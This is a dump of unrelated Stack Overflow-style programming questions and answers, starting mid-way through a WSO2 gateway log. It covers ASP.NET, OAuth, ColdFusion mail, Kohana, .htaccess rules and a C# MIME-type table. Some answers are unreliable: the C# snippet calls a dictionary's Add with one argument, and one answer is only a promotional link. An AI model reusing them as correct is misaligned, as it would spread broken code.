{org.apache.synapse.transport.http.headers} - http-incoming-1 &lt;&lt; Access-Control-Allow-Headers: authorization,Access-Control-Allow-Origin,Content-Type {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &lt;&lt; Date: Mon, 28 Mar 2016 13:53:05 GMT {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &lt;&lt; Transfer-Encoding: chunked {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &lt;&lt; Connection: keep-alive {org.apache.synapse.transport.http.headers} </code></pre> <p>Also worth loading is the synapse of the API:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;api xmlns="http://ws.apache.org/ns/synapse" name="admin--test" context="/test/1.0.0" version="1.0.0" version-type="context"&gt; &lt;resource methods="POST" url-mapping="/*" faultSequence="fault"&gt; &lt;inSequence&gt; &lt;filter source="$ctx:AM_KEY_TYPE" regex="PRODUCTION"&gt; &lt;then&gt; &lt;property name="api.ut.backendRequestTime" expression="get-property('SYSTEM_TIME')"/&gt; &lt;send&gt; &lt;endpoint name="admin--test_APIproductionEndpoint_0"&gt; &lt;http uri-template="http://localhost:8080/sample2/api/company/upload"/&gt; &lt;/endpoint&gt; &lt;/send&gt; &lt;/then&gt; &lt;else&gt; &lt;sequence key="_sandbox_key_error_"/&gt; &lt;/else&gt; &lt;/filter&gt; &lt;/inSequence&gt; &lt;outSequence&gt; &lt;class name="org.wso2.carbon.apimgt.usage.publisher.APIMgtResponseHandler"/&gt; &lt;send/&gt; &lt;/outSequence&gt; &lt;/resource&gt; &lt;handlers&gt; &lt;handler class="org.wso2.carbon.apimgt.gateway.handlers.security.CORSRequestHandler"&gt; &lt;property name="apiImplementationType" value="ENDPOINT"/&gt; &lt;/handler&gt; &lt;handler class="org.wso2.carbon.apimgt.gateway.handlers.security.APIAuthenticationHandler"/&gt; &lt;handler class="org.wso2.carbon.apimgt.gateway.handlers.throttling.APIThrottleHandler"&gt; &lt;property name="policyKey" value="gov:/apimgt/applicationdata/tiers.xml"/&gt; &lt;property name="policyKeyApplication" value="gov:/apimgt/applicationdata/app-tiers.xml"/&gt; &lt;property name="policyKey" value="gov:/apimgt/applicationdata/tiers.xml"/&gt; &lt;property name="policyKeyApplication" value="gov:/apimgt/applicationdata/app-tiers.xml"/&gt; &lt;property name="id" value="A"/&gt; &lt;property name="policyKeyResource" value="gov:/apimgt/applicationdata/res-tiers.xml"/&gt; &lt;/handler&gt; &lt;handler class="org.wso2.carbon.apimgt.usage.publisher.APIMgtUsageHandler"/&gt; &lt;handler class="org.wso2.carbon.apimgt.usage.publisher.APIMgtGoogleAnalyticsTrackingHandler"&gt; &lt;property name="configKey" value="gov:/apimgt/statistics/ga-config.xml"/&gt; &lt;/handler&gt; &lt;handler class="org.wso2.carbon.apimgt.gateway.handlers.ext.APIManagerExtensionHandler"/&gt; &lt;/handlers&gt; &lt;/api&gt; </code></pre>
4007724	0	auto partial page refresh in asp.net without UpdatePanel <p>I want to make auto partial page refresh in asp.net. There is UpdatePanel but it sends too much data. So I've found that I can make a webservice and call it by the JavaScript code. But I don't know how to call webservice automatic. There are many examples showing how to call webservice by the button click event:</p> <p><a href="http://www.asp.net/ajax/videos/how-do-i-make-client-side-network-callbacks-with-aspnet-ajax" rel="nofollow">http://www.asp.net/ajax/videos/how-do-i-make-client-side-network-callbacks-with-aspnet-ajax</a></p> <p>How to do this by the interval? Am I going in good direction?</p>
12622754	0	Using OAuth 2.0 for Devices - Google API - Google Drive <p>I took a look in some docs at developers.google and some questions here in stackoverflow and I really would like to found an objective answer about use the Google OAuth Server to authenticate an application and grant access to download docs into a Google Drive account with NO BROWSER interaction.</p> <p>As far as I could look, docs like "Using OAuth 2.0 for Server to Server Applications", "Using OAuth 2.0 for Devices", answers here, I couldn't found an article saying "Is possible to authorize an application to get files from a common Google Drive account in Devices with no browser...".</p> <p>Anyone have tried and had success in this jorney?</p>
18578783	0	 <pre><code>str.str[0].toUpperCase(); </code></pre> <p>should just be </p> <pre><code>str[0].toUpperCase(); </code></pre> <p>If that isn't the case, you should try <code>console.log(str)</code> and find out what exactly <code>str</code> is but I believe this is your problem.</p>
2835261	0	Excel VBA macro workbook startup - security warning - automatic update of links disabled <p>I've created an add-in and installed it, but now when I open Excel I get an error pop-up telling me that the add-in file is a security risk and that automatic updating of links is disabled. I've looked it up and it refers to the Windows DDE protocol, but what does that have to do with this add-in? Does anyone know what's happening behind the scenes here?</p> <p>Thanks</p>
4840021	0	 <p>I had a very similar problem myself: I was developing a C program (using the MinGW gcc compiler) which used the curl library to do http GET operations. I tested it on Windows XP (32-bit) and Windows 7 (64-bit). My program was working in Windows XP, but in Windows 7 it crashed with the same 0xc000007b error message as the OP got.</p> <p>I used Dependency Walker on a down-stripped program (with only one call to the curl library:<code>curl_easy_init()</code>). I essentially got the same log as yours, with OPENLDAP.DLL as the last successfully loaded module before the crash.</p> <p>However, it seems my program crashed upon loading LIBSASL.DLL (which was the next module loaded according to the log from Dependency Walker run on Windows XP).</p> <p>When looking again in the log from Dependency Walker on Windows 7, LIBSASL.DLL indeed shows up a x64 module. I managed to get my program to run by copying a 32-bit version of the DLL file from another application on my harddisk to my program's directory. </p> <p>Hopefully this will work for other people having similar problems (also for the OP if the problem still wasn't resolved after these years). If copying a 32-bit version of LIBSADL.DLL to your program's directory doesn't help, another module might cause the crash. Run Dependency Walker on both the 32- and 64-bit systems and look up the module name from the log of the successful run.</p>
14393716	0	launch command line from java without knowing OS <p>Is there a way to launch the command line from java without knowing OS? For example, the method would open up the terminal shell for a Linux OS and open the command line for Windows. </p> <p>I do know (from looking at previous questions) that i can just check the OS and then open the proper command line, but is there a way to open the command line from a java method that is OS agnostic?</p>
16375955	0	 <p>It's not possible to do so.....</p>
15414905	0	 <p>I got this to work by combining both of the answers already provided;</p> <ul> <li>Wrap the <code>&lt;ul&gt;</code> into its own <code>&lt;div id="scroller"&gt;</code></li> <li>Remove the fixed <code>width</code> property from the <code>.simply-scroll .simply-scroll-list li</code> element in the CSS</li> <li>Add <code>padding</code> to this element as required.</li> </ul> <p>Working in Firefox, Chrome and IE.</p>
26573644	0	 <p>It's in the documentation: <a href="http://msdn.microsoft.com/en-us/library/microsoft.web.services2.soapwebrequest.timeout.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/microsoft.web.services2.soapwebrequest.timeout.aspx</a> .</p> <p>In short, use the SoapWebRequest's Timeout property.</p>
39671783	0	 <p>When executed for first time hashBucket is empty. So range is empty. So this for loop doesn't do anything. 'for i in range(len(hashBucket)):' I think. Is that right?</p>
40421653	0	ElasticSearch: unable to resolve class org.joda.time.Period <p>I'm using this script in order to get the time difference between two fields:</p> <pre><code>new org.joda.time.Period(doc[firstDateField].date, doc[secondDateField].date).getHours(); </code></pre> <p>The problem is ES is telling me that:</p> <pre><code>bbd8b73ce0b0dd070d07e63f11dcdad4fa12121d: 1: unable to resolve class org.joda.time.Period Nov 04 10:27:21 core-01 docker[3876]: @ line 1, column 1. Nov 04 10:27:21 core-01 docker[3876]: new Period(doc[firstDateField].date, doc[secondDateField].date).getHours(); Nov 04 10:27:21 core-01 docker[3876]: ^ </code></pre>
16019217	0	 <p>I read about this is a book by Knuth and according to that book, the Batcher's parallel merge sort is the fastest algorithm and also the most hardware efficient.</p>
19621369	0	Servlet filters as security for web aplication <p>I want to do my own custom registration system like we have on most of web sites:</p> <ol> <li>User put password username e-male and so on </li> <li>After registration process tries to log in with inserted user name and passwords from registration form.</li> </ol> <p>I was considering to do this with spring-security, but I want to do this with servlets because it's essential things to know for each web developer.</p> <p>As my particular view I was thinking to use filters. Would you suggest something for me to read about filters and also how to perform security with servlets and filters?? </p> <p>Thank you with best regards. </p>
27774787	0	 <p>Follow these simple steps on <a href="https://www.promptcloud.com/how-to-run-ajax-web-crawls/" rel="nofollow">how to run Python/Ajax crawls</a>. <a href="https://www.promptcloud.com/data-hub-blog/web-scraping-interactive-ajax-crawls/" rel="nofollow">How to set interactive crawls using AJax</a></p>
17432434	0	How to add view on imageView? <p>I have created a class that extends a view which will work as a drawing slate to draw a text. I want to add that drawing slate in image View. And I have main activity which contains a scrollable list on top and a image view below list. Now I want to add that View(Drawing slate) on image View. So how to implement this? I tried lot, but I am not getting how to do this.Do i need to use any other view instead of image View? Please help as soon as possible. Thanks in advance.</p>
37211948	0	Issue in Kohana Query <p>I'm facing an issue in my query.Kindly help me to sort the issue (I’m newbie in Kohana Framework)</p> <pre><code>$posts-&gt;select(array(DB::expr('( SELECT COUNT(id_visit) FROM `oc2_visits` WHERE `oc2_post`.`id_post` = `oc2_visits`.`id_ad` AND `oc2_visits`.controller = "Blog" GROUP BY `oc2_visits`.`id_ad`)'), 'hits')); //we sort all ads with few parameters $posts = $posts-&gt;order_by('created','desc') -&gt;limit($pagination-&gt;items_per_page) -&gt;offset($pagination-&gt;offset) -&gt;limit(Theme::get('num_home_blog_posts', 4))-&gt;cached() -&gt;find_all(); </code></pre> <p>As you can see 'hits' is property set at DB:expr(). In my view I'm trying to access the $posts->hits; property. Then the issue appearing hits property doesn't exists. <a href="https://i.stack.imgur.com/XSVTs.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/XSVTs.png" alt="enter image description here"></a></p> <p>Image is attached, Please help I'm not expert in kohana framework.</p>
21155503	0	 <p>Found new way to put job back to same queue with some delay time. We can use direct <strong>release</strong> function of pheanstalk library. e.g. </p> <pre><code> $this-&gt;pheanstalk-&gt;release($job,$priority,$delay); </code></pre> <p>This way, we don't need to find job's actual tube and can save concurrency issues, specially in my case.</p> <p>Thanks for your help !!!</p>
4820989	0	How to read a text file from the root folder and display it in div? <p>Hi I have a complicated html page. I want to read a text file and display its content into a div on Page load. I can use javascript if needed. Pl. help.</p>
27407152	0	 <p>It's been a while since I did this but I just had <code>&lt;cfpop&gt;</code> login to the email account in question, search for emails with a specific subject, gather up the data I wanted from there, like the email address it bounced from, and update the database using an IN clause based on a list of bounced email addresses.</p> <p>Just make sure to delete the messages you've scanned afterwards.</p> <p>However, in CF10+, you can use the secure attribute instead of invoking java for the secure connection.</p> <pre><code>&lt;cfpop server="pop.gmail.com" action="getHeaderOnly" name="popMessages" port="995" maxrows="10" username="user@gmail.com" password="password" secure="yes|no"&gt; </code></pre> <p>A quick google for how to access gmail with cfpop returned this, useful for connecting with older CFs.</p> <pre><code>&lt;!--- See: http://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html Warning: Changing system properties is potentially dangerous and should be done with discretion. ---&gt; &lt;cfset javaSystem = createObject("java", "java.lang.System") /&gt; &lt;cfset javaSystemProps = javaSystem.getProperties() /&gt; &lt;cfset javaSystemProps.setProperty("mail.pop3.socketFactory.class", "javax.net.ssl.SSLSocketFactory") /&gt; &lt;cfpop server="pop.gmail.com" action="getHeaderOnly" name="popMessages" port="995" maxrows="10" username="user@gmail.com" password="password"&gt; </code></pre>
17059349	0	Java: To what extent should we encapsulate our methods and classes? <p>To what extent should we encapsulate our methods and classes? for example, besides getter and setter, what else non-static methods should be declared as public?</p> <p>And if we declared too many private methods, how can we conduct the unit tests for them?</p> <p>I heard a saying that "if your private method is so complex that it needs a separate unit test, it often means that it deserved its own class", so how can we decide if a method is complex enough to have a separate unit test? (for example, for methods like getter/setter we do not need to test them right)</p>
38611385	0	 <blockquote> <p>I had the same issue a year ago.</p> </blockquote> <ol> <li>First and foremost, make sure that mod_rewrite module is enabled in your apache server. Don't waste time for other solution.</li> <li>Secondly, that might be because of htaccess rules. Kindly, use this basic line of code for htaccess.</li> </ol> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>Options +FollowSymlinks RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?/$1 [QSA,L]</code></pre> </div> </div> </p>
20011250	0	 <p>a combination of both solutions presented here:</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Mime { class Mime { public static string GetMimeType(string fileName) { if (string.IsNullOrEmpty(fileName) || string.IsNullOrWhiteSpace(fileName)) { throw new ArgumentNullException("filename must contain a filename"); } string extension = System.IO.Path.GetExtension(fileName).ToLower(); if (!extension.StartsWith(".")) { extension = "." + extension; } string mime; if (_mappings.TryGetValue(extension, out mime)) return mime; else if (GetWindowsMimeType(extension, out mime)) { _mappings.Add(mime); return mime; } else return "application/octet-stream"; } public static bool GetWindowsMimeType(string ext, out string mime) { mime="application/octet-stream"; Microsoft.Win32.RegistryKey regKey = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey(ext); if (regKey != null) { object val=regKey.GetValue("Content Type") ; if (val != null) { string strval = val.ToString(); if(!(string.IsNullOrEmpty(strval)||string.IsNullOrWhiteSpace(strval))) { mime=strval; return true; } } } return false; } private static IDictionary&lt;string, string&gt; _mappings = new Dictionary&lt;string, string&gt;(StringComparer.InvariantCultureIgnoreCase) { #region Big freaking list of mime types // combination of values from Windows 7 Registry and // from C:\Windows\System32\inetsrv\config\applicationHost.config // some added, including .7z and .dat {".323", "text/h323"}, {".3g2", "video/3gpp2"}, {".3gp", "video/3gpp"}, {".3gp2", "video/3gpp2"}, {".3gpp", "video/3gpp"}, {".7z", "application/x-7z-compressed"}, {".aa", "audio/audible"}, {".AAC", "audio/aac"}, {".aaf", "application/octet-stream"}, {".aax", "audio/vnd.audible.aax"}, {".ac3", "audio/ac3"}, {".aca", "application/octet-stream"}, {".accda", "application/msaccess.addin"}, {".accdb", "application/msaccess"}, {".accdc", "application/msaccess.cab"}, {".accde", "application/msaccess"}, {".accdr", "application/msaccess.runtime"}, {".accdt", "application/msaccess"}, {".accdw", "application/msaccess.webapplication"}, {".accft", "application/msaccess.ftemplate"}, {".acx", "application/internet-property-stream"}, {".AddIn", "text/xml"}, {".ade", "application/msaccess"}, {".adobebridge", "application/x-bridge-url"}, {".adp", "application/msaccess"}, {".ADT", "audio/vnd.dlna.adts"}, {".ADTS", "audio/aac"}, {".afm", "application/octet-stream"}, {".ai", "application/postscript"}, {".aif", "audio/x-aiff"}, {".aifc", "audio/aiff"}, {".aiff", "audio/aiff"}, {".air", "application/vnd.adobe.air-application-installer-package+zip"}, {".amc", "application/x-mpeg"}, {".application", "application/x-ms-application"}, {".art", "image/x-jg"}, {".asa", "application/xml"}, {".asax", "application/xml"}, {".ascx", "application/xml"}, {".asd", "application/octet-stream"}, {".asf", "video/x-ms-asf"}, {".ashx", "application/xml"}, {".asi", "application/octet-stream"}, {".asm", "text/plain"}, {".asmx", "application/xml"}, {".aspx", "application/xml"}, {".asr", "video/x-ms-asf"}, {".asx", "video/x-ms-asf"}, {".atom", "application/atom+xml"}, {".au", "audio/basic"}, {".avi", "video/x-msvideo"}, {".axs", "application/olescript"}, {".bas", "text/plain"}, {".bcpio", "application/x-bcpio"}, {".bin", "application/octet-stream"}, {".bmp", "image/bmp"}, {".c", "text/plain"}, {".cab", "application/octet-stream"}, {".caf", "audio/x-caf"}, {".calx", "application/vnd.ms-office.calx"}, {".cat", "application/vnd.ms-pki.seccat"}, {".cc", "text/plain"}, {".cd", "text/plain"}, {".cdda", "audio/aiff"}, {".cdf", "application/x-cdf"}, {".cer", "application/x-x509-ca-cert"}, {".chm", "application/octet-stream"}, {".class", "application/x-java-applet"}, {".clp", "application/x-msclip"}, {".cmx", "image/x-cmx"}, {".cnf", "text/plain"}, {".cod", "image/cis-cod"}, {".config", "application/xml"}, {".contact", "text/x-ms-contact"}, {".coverage", "application/xml"}, {".cpio", "application/x-cpio"}, {".cpp", "text/plain"}, {".crd", "application/x-mscardfile"}, {".crl", "application/pkix-crl"}, {".crt", "application/x-x509-ca-cert"}, {".cs", "text/plain"}, {".csdproj", "text/plain"}, {".csh", "application/x-csh"}, {".csproj", "text/plain"}, {".css", "text/css"}, {".csv", "text/csv"}, {".cur", "application/octet-stream"}, {".cxx", "text/plain"}, {".dat", "application/octet-stream"}, {".datasource", "application/xml"}, {".dbproj", "text/plain"}, {".dcr", "application/x-director"}, {".def", "text/plain"}, {".deploy", "application/octet-stream"}, {".der", "application/x-x509-ca-cert"}, {".dgml", "application/xml"}, {".dib", "image/bmp"}, {".dif", "video/x-dv"}, {".dir", "application/x-director"}, {".disco", "text/xml"}, {".dll", "application/x-msdownload"}, {".dll.config", "text/xml"}, {".dlm", "text/dlm"}, {".doc", "application/msword"}, {".docm", "application/vnd.ms-word.document.macroEnabled.12"}, {".docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document"}, {".dot", "application/msword"}, {".dotm", "application/vnd.ms-word.template.macroEnabled.12"}, {".dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"}, {".dsp", "application/octet-stream"}, {".dsw", "text/plain"}, {".dtd", "text/xml"}, {".dtsConfig", "text/xml"}, {".dv", "video/x-dv"}, {".dvi", "application/x-dvi"}, {".dwf", "drawing/x-dwf"}, {".dwp", "application/octet-stream"}, {".dxr", "application/x-director"}, {".eml", "message/rfc822"}, {".emz", "application/octet-stream"}, {".eot", "application/octet-stream"}, {".eps", "application/postscript"}, {".etl", "application/etl"}, {".etx", "text/x-setext"}, {".evy", "application/envoy"}, {".exe", "application/octet-stream"}, {".exe.config", "text/xml"}, {".fdf", "application/vnd.fdf"}, {".fif", "application/fractals"}, {".filters", "Application/xml"}, {".fla", "application/octet-stream"}, {".flr", "x-world/x-vrml"}, {".flv", "video/x-flv"}, {".fsscript", "application/fsharp-script"}, {".fsx", "application/fsharp-script"}, {".generictest", "application/xml"}, {".gif", "image/gif"}, {".group", "text/x-ms-group"}, {".gsm", "audio/x-gsm"}, {".gtar", "application/x-gtar"}, {".gz", "application/x-gzip"}, {".h", "text/plain"}, {".hdf", "application/x-hdf"}, {".hdml", "text/x-hdml"}, {".hhc", "application/x-oleobject"}, {".hhk", "application/octet-stream"}, {".hhp", "application/octet-stream"}, {".hlp", "application/winhlp"}, {".hpp", "text/plain"}, {".hqx", "application/mac-binhex40"}, {".hta", "application/hta"}, {".htc", "text/x-component"}, {".htm", "text/html"}, {".html", "text/html"}, {".htt", "text/webviewhtml"}, {".hxa", "application/xml"}, {".hxc", "application/xml"}, {".hxd", "application/octet-stream"}, {".hxe", "application/xml"}, {".hxf", "application/xml"}, {".hxh", "application/octet-stream"}, {".hxi", "application/octet-stream"}, {".hxk", "application/xml"}, {".hxq", "application/octet-stream"}, {".hxr", "application/octet-stream"}, {".hxs", "application/octet-stream"}, {".hxt", "text/html"}, {".hxv", "application/xml"}, {".hxw", "application/octet-stream"}, {".hxx", "text/plain"}, {".i", "text/plain"}, {".ico", "image/x-icon"}, {".ics", "application/octet-stream"}, {".idl", "text/plain"}, {".ief", "image/ief"}, {".iii", "application/x-iphone"}, {".inc", "text/plain"}, {".inf", "application/octet-stream"}, {".inl", "text/plain"}, {".ins", "application/x-internet-signup"}, {".ipa", "application/x-itunes-ipa"}, {".ipg", "application/x-itunes-ipg"}, {".ipproj", "text/plain"}, {".ipsw", "application/x-itunes-ipsw"}, {".iqy", "text/x-ms-iqy"}, {".isp", "application/x-internet-signup"}, {".ite", "application/x-itunes-ite"}, {".itlp", "application/x-itunes-itlp"}, {".itms", "application/x-itunes-itms"}, {".itpc", "application/x-itunes-itpc"}, {".IVF", "video/x-ivf"}, {".jar", "application/java-archive"}, {".java", "application/octet-stream"}, {".jck", "application/liquidmotion"}, {".jcz", "application/liquidmotion"}, {".jfif", "image/pjpeg"}, {".jnlp", "application/x-java-jnlp-file"}, {".jpb", "application/octet-stream"}, {".jpe", "image/jpeg"}, {".jpeg", "image/jpeg"}, {".jpg", "image/jpeg"}, {".js", "application/x-javascript"}, {".jsx", "text/jscript"}, {".jsxbin", "text/plain"}, {".latex", "application/x-latex"}, {".library-ms", "application/windows-library+xml"}, {".lit", "application/x-ms-reader"}, {".loadtest", "application/xml"}, {".lpk", "application/octet-stream"}, {".lsf", "video/x-la-asf"}, {".lst", "text/plain"}, {".lsx", "video/x-la-asf"}, {".lzh", "application/octet-stream"}, {".m13", "application/x-msmediaview"}, {".m14", "application/x-msmediaview"}, {".m1v", "video/mpeg"}, {".m2t", "video/vnd.dlna.mpeg-tts"}, {".m2ts", "video/vnd.dlna.mpeg-tts"}, {".m2v", "video/mpeg"}, {".m3u", "audio/x-mpegurl"}, {".m3u8", "audio/x-mpegurl"}, {".m4a", "audio/m4a"}, {".m4b", "audio/m4b"}, {".m4p", "audio/m4p"}, {".m4r", "audio/x-m4r"}, {".m4v", "video/x-m4v"}, {".mac", "image/x-macpaint"}, {".mak", "text/plain"}, {".man", "application/x-troff-man"}, {".manifest", "application/x-ms-manifest"}, {".map", "text/plain"}, {".master", "application/xml"}, {".mda", "application/msaccess"}, {".mdb", "application/x-msaccess"}, {".mde", "application/msaccess"}, {".mdp", "application/octet-stream"}, {".me", "application/x-troff-me"}, {".mfp", "application/x-shockwave-flash"}, {".mht", "message/rfc822"}, {".mhtml", "message/rfc822"}, {".mid", "audio/mid"}, {".midi", "audio/mid"}, {".mix", "application/octet-stream"}, {".mk", "text/plain"}, {".mmf", "application/x-smaf"}, {".mno", "text/xml"}, {".mny", "application/x-msmoney"}, {".mod", "video/mpeg"}, {".mov", "video/quicktime"}, {".movie", "video/x-sgi-movie"}, {".mp2", "video/mpeg"}, {".mp2v", "video/mpeg"}, {".mp3", "audio/mpeg"}, {".mp4", "video/mp4"}, {".mp4v", "video/mp4"}, {".mpa", "video/mpeg"}, {".mpe", "video/mpeg"}, {".mpeg", "video/mpeg"}, {".mpf", "application/vnd.ms-mediapackage"}, {".mpg", "video/mpeg"}, {".mpp", "application/vnd.ms-project"}, {".mpv2", "video/mpeg"}, {".mqv", "video/quicktime"}, {".ms", "application/x-troff-ms"}, {".msi", "application/octet-stream"}, {".mso", "application/octet-stream"}, {".mts", "video/vnd.dlna.mpeg-tts"}, {".mtx", "application/xml"}, {".mvb", "application/x-msmediaview"}, {".mvc", "application/x-miva-compiled"}, {".mxp", "application/x-mmxp"}, {".nc", "application/x-netcdf"}, {".nsc", "video/x-ms-asf"}, {".nws", "message/rfc822"}, {".ocx", "application/octet-stream"}, {".oda", "application/oda"}, {".odc", "text/x-ms-odc"}, {".odh", "text/plain"}, {".odl", "text/plain"}, {".odp", "application/vnd.oasis.opendocument.presentation"}, {".ods", "application/oleobject"}, {".odt", "application/vnd.oasis.opendocument.text"}, {".one", "application/onenote"}, {".onea", "application/onenote"}, {".onepkg", "application/onenote"}, {".onetmp", "application/onenote"}, {".onetoc", "application/onenote"}, {".onetoc2", "application/onenote"}, {".orderedtest", "application/xml"}, {".osdx", "application/opensearchdescription+xml"}, {".p10", "application/pkcs10"}, {".p12", "application/x-pkcs12"}, {".p7b", "application/x-pkcs7-certificates"}, {".p7c", "application/pkcs7-mime"}, {".p7m", "application/pkcs7-mime"}, {".p7r", "application/x-pkcs7-certreqresp"}, {".p7s", "application/pkcs7-signature"}, {".pbm", "image/x-portable-bitmap"}, {".pcast", "application/x-podcast"}, {".pct", "image/pict"}, {".pcx", "application/octet-stream"}, {".pcz", "application/octet-stream"}, {".pdf", "application/pdf"}, {".pfb", "application/octet-stream"}, {".pfm", "application/octet-stream"}, {".pfx", "application/x-pkcs12"}, {".pgm", "image/x-portable-graymap"}, {".pic", "image/pict"}, {".pict", "image/pict"}, {".pkgdef", "text/plain"}, {".pkgundef", "text/plain"}, {".pko", "application/vnd.ms-pki.pko"}, {".pls", "audio/scpls"}, {".pma", "application/x-perfmon"}, {".pmc", "application/x-perfmon"}, {".pml", "application/x-perfmon"}, {".pmr", "application/x-perfmon"}, {".pmw", "application/x-perfmon"}, {".png", "image/png"}, {".pnm", "image/x-portable-anymap"}, {".pnt", "image/x-macpaint"}, {".pntg", "image/x-macpaint"}, {".pnz", "image/png"}, {".pot", "application/vnd.ms-powerpoint"}, {".potm", "application/vnd.ms-powerpoint.template.macroEnabled.12"}, {".potx", "application/vnd.openxmlformats-officedocument.presentationml.template"}, {".ppa", "application/vnd.ms-powerpoint"}, {".ppam", "application/vnd.ms-powerpoint.addin.macroEnabled.12"}, {".ppm", "image/x-portable-pixmap"}, {".pps", "application/vnd.ms-powerpoint"}, {".ppsm", "application/vnd.ms-powerpoint.slideshow.macroEnabled.12"}, {".ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow"}, {".ppt", "application/vnd.ms-powerpoint"}, {".pptm", "application/vnd.ms-powerpoint.presentation.macroEnabled.12"}, {".pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation"}, {".prf", "application/pics-rules"}, {".prm", "application/octet-stream"}, {".prx", "application/octet-stream"}, {".ps", "application/postscript"}, {".psc1", "application/PowerShell"}, {".psd", "application/octet-stream"}, {".psess", "application/xml"}, {".psm", "application/octet-stream"}, {".psp", "application/octet-stream"}, {".pub", "application/x-mspublisher"}, {".pwz", "application/vnd.ms-powerpoint"}, {".qht", "text/x-html-insertion"}, {".qhtm", "text/x-html-insertion"}, {".qt", "video/quicktime"}, {".qti", "image/x-quicktime"}, {".qtif", "image/x-quicktime"}, {".qtl", "application/x-quicktimeplayer"}, {".qxd", "application/octet-stream"}, {".ra", "audio/x-pn-realaudio"}, {".ram", "audio/x-pn-realaudio"}, {".rar", "application/octet-stream"}, {".ras", "image/x-cmu-raster"}, {".rat", "application/rat-file"}, {".rc", "text/plain"}, {".rc2", "text/plain"}, {".rct", "text/plain"}, {".rdlc", "application/xml"}, {".resx", "application/xml"}, {".rf", "image/vnd.rn-realflash"}, {".rgb", "image/x-rgb"}, {".rgs", "text/plain"}, {".rm", "application/vnd.rn-realmedia"}, {".rmi", "audio/mid"}, {".rmp", "application/vnd.rn-rn_music_package"}, {".roff", "application/x-troff"}, {".rpm", "audio/x-pn-realaudio-plugin"}, {".rqy", "text/x-ms-rqy"}, {".rtf", "application/rtf"}, {".rtx", "text/richtext"}, {".ruleset", "application/xml"}, {".s", "text/plain"}, {".safariextz", "application/x-safari-safariextz"}, {".scd", "application/x-msschedule"}, {".sct", "text/scriptlet"}, {".sd2", "audio/x-sd2"}, {".sdp", "application/sdp"}, {".sea", "application/octet-stream"}, {".searchConnector-ms", "application/windows-search-connector+xml"}, {".setpay", "application/set-payment-initiation"}, {".setreg", "application/set-registration-initiation"}, {".settings", "application/xml"}, {".sgimb", "application/x-sgimb"}, {".sgml", "text/sgml"}, {".sh", "application/x-sh"}, {".shar", "application/x-shar"}, {".shtml", "text/html"}, {".sit", "application/x-stuffit"}, {".sitemap", "application/xml"}, {".skin", "application/xml"}, {".sldm", "application/vnd.ms-powerpoint.slide.macroEnabled.12"}, {".sldx", "application/vnd.openxmlformats-officedocument.presentationml.slide"}, {".slk", "application/vnd.ms-excel"}, {".sln", "text/plain"}, {".slupkg-ms", "application/x-ms-license"}, {".smd", "audio/x-smd"}, {".smi", "application/octet-stream"}, {".smx", "audio/x-smd"}, {".smz", "audio/x-smd"}, {".snd", "audio/basic"}, {".snippet", "application/xml"}, {".snp", "application/octet-stream"}, {".sol", "text/plain"}, {".sor", "text/plain"}, {".spc", "application/x-pkcs7-certificates"}, {".spl", "application/futuresplash"}, {".src", "application/x-wais-source"}, {".srf", "text/plain"}, {".SSISDeploymentManifest", "text/xml"}, {".ssm", "application/streamingmedia"}, {".sst", "application/vnd.ms-pki.certstore"}, {".stl", "application/vnd.ms-pki.stl"}, {".sv4cpio", "application/x-sv4cpio"}, {".sv4crc", "application/x-sv4crc"}, {".svc", "application/xml"}, {".swf", "application/x-shockwave-flash"}, {".t", "application/x-troff"}, {".tar", "application/x-tar"}, {".tcl", "application/x-tcl"}, {".testrunconfig", "application/xml"}, {".testsettings", "application/xml"}, {".tex", "application/x-tex"}, {".texi", "application/x-texinfo"}, {".texinfo", "application/x-texinfo"}, {".tgz", "application/x-compressed"}, {".thmx", "application/vnd.ms-officetheme"}, {".thn", "application/octet-stream"}, {".tif", "image/tiff"}, {".tiff", "image/tiff"}, {".tlh", "text/plain"}, {".tli", "text/plain"}, {".toc", "application/octet-stream"}, {".tr", "application/x-troff"}, {".trm", "application/x-msterminal"}, {".trx", "application/xml"}, {".ts", "video/vnd.dlna.mpeg-tts"}, {".tsv", "text/tab-separated-values"}, {".ttf", "application/octet-stream"}, {".tts", "video/vnd.dlna.mpeg-tts"}, {".txt", "text/plain"}, {".u32", "application/octet-stream"}, {".uls", "text/iuls"}, {".user", "text/plain"}, {".ustar", "application/x-ustar"}, {".vb", "text/plain"}, {".vbdproj", "text/plain"}, {".vbk", "video/mpeg"}, {".vbproj", "text/plain"}, {".vbs", "text/vbscript"}, {".vcf", "text/x-vcard"}, {".vcproj", "Application/xml"}, {".vcs", "text/plain"}, {".vcxproj", "Application/xml"}, {".vddproj", "text/plain"}, {".vdp", "text/plain"}, {".vdproj", "text/plain"}, {".vdx", "application/vnd.ms-visio.viewer"}, {".vml", "text/xml"}, {".vscontent", "application/xml"}, {".vsct", "text/xml"}, {".vsd", "application/vnd.visio"}, {".vsi", "application/ms-vsi"}, {".vsix", "application/vsix"}, {".vsixlangpack", "text/xml"}, {".vsixmanifest", "text/xml"}, {".vsmdi", "application/xml"}, {".vspscc", "text/plain"}, {".vss", "application/vnd.visio"}, {".vsscc", "text/plain"}, {".vssettings", "text/xml"}, {".vssscc", "text/plain"}, {".vst", "application/vnd.visio"}, {".vstemplate", "text/xml"}, {".vsto", "application/x-ms-vsto"}, {".vsw", "application/vnd.visio"}, {".vsx", "application/vnd.visio"}, {".vtx", "application/vnd.visio"}, {".wav", "audio/wav"}, {".wave", "audio/wav"}, {".wax", "audio/x-ms-wax"}, {".wbk", 